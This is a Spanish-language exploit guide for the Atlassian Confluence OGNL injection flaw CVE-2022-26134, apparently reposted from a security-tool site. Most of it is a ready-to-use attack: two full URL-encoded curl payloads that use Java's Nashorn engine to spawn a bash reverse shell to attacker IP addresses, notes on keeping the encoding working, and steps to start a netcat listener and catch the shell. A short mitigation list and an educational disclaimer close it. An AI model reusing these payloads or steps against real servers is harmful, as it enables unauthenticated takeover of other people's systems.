Explotación Activa de Confluence CVE-2022-26134

Descripción General

CVE-2022-26134 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) que afecta a Atlassian Confluence. Esta vulnerabilidad permite a atacantes no autenticados ejecutar código arbitrario mediante la inyección de expresiones OGNL en endpoints vulnerables.

Versiones Afectadas

• Todas las versiones compatibles de Atlassian Confluence Server y Data Center anteriores al lanzamiento parcheado.

Detalles del Exploit

El siguiente comando CURL demuestra la explotación activa de esta vulnerabilidad, utilizando el motor Nashorn de Java para ejecutar una shell reversa:

curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/

Al realizar estas modificaciones, también debemos tener en cuenta la codificación de la URL. La cadena de payload en la prueba de concepto no está completamente codificada en URL. Ciertos caracteres (notablemente ".", "-" y "/") no están codificados. Aunque no siempre es el caso, para este exploit esto resulta importante para el funcionamiento del payload. Si alguno de estos caracteres se codifica, el servidor analizará la URL de manera diferente y el payload puede no ejecutarse. Esto significa que no podemos aplicar codificación URL en todo el payload una vez que lo hemos modificado.

curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.118.4/4444%200%3E%261%27%29.start%28%29%22%29%7D/

Desglose del Payload

1. ${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval(...)}
   • Utiliza el motor de scripts Nashorn de Java para evaluar una expresión OGNL.
2. new java.lang.ProcessBuilder().command('bash','-c','bash -i > /dev/tcp/10.0.0.28/1270 0>&1').start()
   • Genera una shell reversa que se conecta de vuelta a 10.0.0.28:1270.

Pasos de Explotación

1. Configure un listener en su máquina atacante:
   root@kitploit:~

   nc -lvnp 1270
   

2. Ejecute el comando CURL del exploit.
3. Tras una explotación exitosa, recibirá una shell reversa.

Mitigación

• Atlassian ha lanzado parches de seguridad para las versiones afectadas. Se recomienda encarecidamente actualizar a la última versión de inmediato.
• Restrinja el acceso a los servidores Confluence desde fuentes no confiables.
• Monitoree los registros en busca de solicitudes sospechosas que contengan expresiones OGNL.

Referencias

• Aviso de Seguridad de Atlassian
• Detalles de CVE-2022-26134

Descargo de Responsabilidad

Esta documentación es solo con fines educativos. La explotación no autorizada de sistemas es ilegal y puede resultar en consecuencias graves. Obtenga siempre la autorización adecuada antes de realizar evaluaciones de seguridad.